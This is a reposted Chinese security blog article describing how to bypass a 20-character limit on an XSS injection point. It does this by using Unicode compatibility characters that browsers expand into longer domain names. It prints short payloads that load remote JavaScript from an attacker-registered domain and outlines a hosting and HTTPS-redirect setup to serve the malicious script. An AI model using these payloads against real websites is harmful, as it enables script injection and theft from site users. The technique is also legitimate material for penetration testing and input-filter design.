Exploiting XSS with 20 characters limitation

2019-12-25 约 86 字 预计阅读 1 分钟

声明:本文 【Exploiting XSS with 20 characters limitation】 由作者 ffx01 于 2019-12-25 11:04:51 首发 先知社区 曾经 浏览数 457 次

感谢 ffx01 的辛苦付出!

跨站点脚本攻击是web渗透测试中最常见的漏洞之一。但是由于注入点字符限制的问题,有时payload无法执行成功,在这篇文章中,将利用unicode兼容性来突破这一限制。

unicode的兼容性

在unicode等价里一些字符的序列有相同的含义。

该特性被引入到标准中,以便与现有的标准字符集兼容,unicode有两种方法处理这种兼容性和规范等价性。

1、规范等价性:一些有着相同外形的字符序列也被认为有着相同的含义,如:n + ◌̃ = ñ。

2、兼容等价性:一些字符的外形可能不同,但是在某些情况下含义相同,如:ff字符等价于ff

20个字符的兼容性
因此,假设payload长度被限制,我们可以用如下这个不超过20个字符的payload:

<svg/onload=alert``>

这个payload只能简单弹个框,并不能展示xss的危害,例如加载外部JavaScript文件<script src=//aa.es>,让我们能更灵活地准备更复杂的XSS攻击。

这样的短payload可以实现输入20个字符加载远程JavaScript文件。但是弊端就是后面加载远程JavaScript文件的短域名早已经被注册或者购买价格太昂贵。

unicode字符的利用

浏览器对某些unicode字符具有兼容性,例如payload:

<script src=//ffff.pw>
注意:ff是一个字符,但是当浏览器解析时,ff被扩展为ff。这种特性可以用更便宜的方式购买更具有影响力的域名:

ff 扩展为 ff

℠ 扩展为 sm

㏛ 扩展为 sr

st 扩展为 st

㎭ 扩展为 rad

℡ 扩展为 tel

更多类似的unicode字符请参考:https://www.unicode.org/charts/normalization/

可以在这里查看unicode字符被浏览器解析后的样子:https://www.compart.com/en/unicode/U+2121

比如,我们注册域名telsr.pw这个例子只花1.28美元。

最终payload是这样的:
<script src=//℡㏛.pw>
让我们来看看这个过程是怎么发生的,20个字符是如何解析为23个字符的:

Next Steps

所以Payload可以用已经注册的域名再缩短长度,但是还没有达到什么目的。

DNS重定向这个方法出现在我脑海:

1、XSS被触发然后浏览器尝试去加载telsr.pw的内容

2、DNS重定向到域名xsshunter.com,执行XSS攻击

3、XSS攻击成功

但是这里会有一个问题,如果连接使用的是HTTPS协议,payload使用的是src=\url,HTTP变成了HTTPS,当DNS重定向到另外一个站点时,会产生SSL证书不匹配并且Javascript文件无法加载。

如果连接使用的HTTP就不会有这个问题,但这不是常见场景。

可以通过如下方法来解决:

1、购买一个主机给域名用,我是在namecheap.com上买的,最便宜的是1.44美元/月

2、设置一个HTTPS证书,第一年是免费的

3、在控制面板中,转到重定向功能页面并设置重定向到恶意Javascript文件所在的位置。这不是DNS重定向,而是服务器重定向,所以不会出现证书不匹配错误,因为url提供了在步骤2中生成的有效证书

4、执行重定向并触发执行

参考

https://en.wikipedia.org/wiki/Unicode_equivalence

https://medium.com/@mohamedd

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now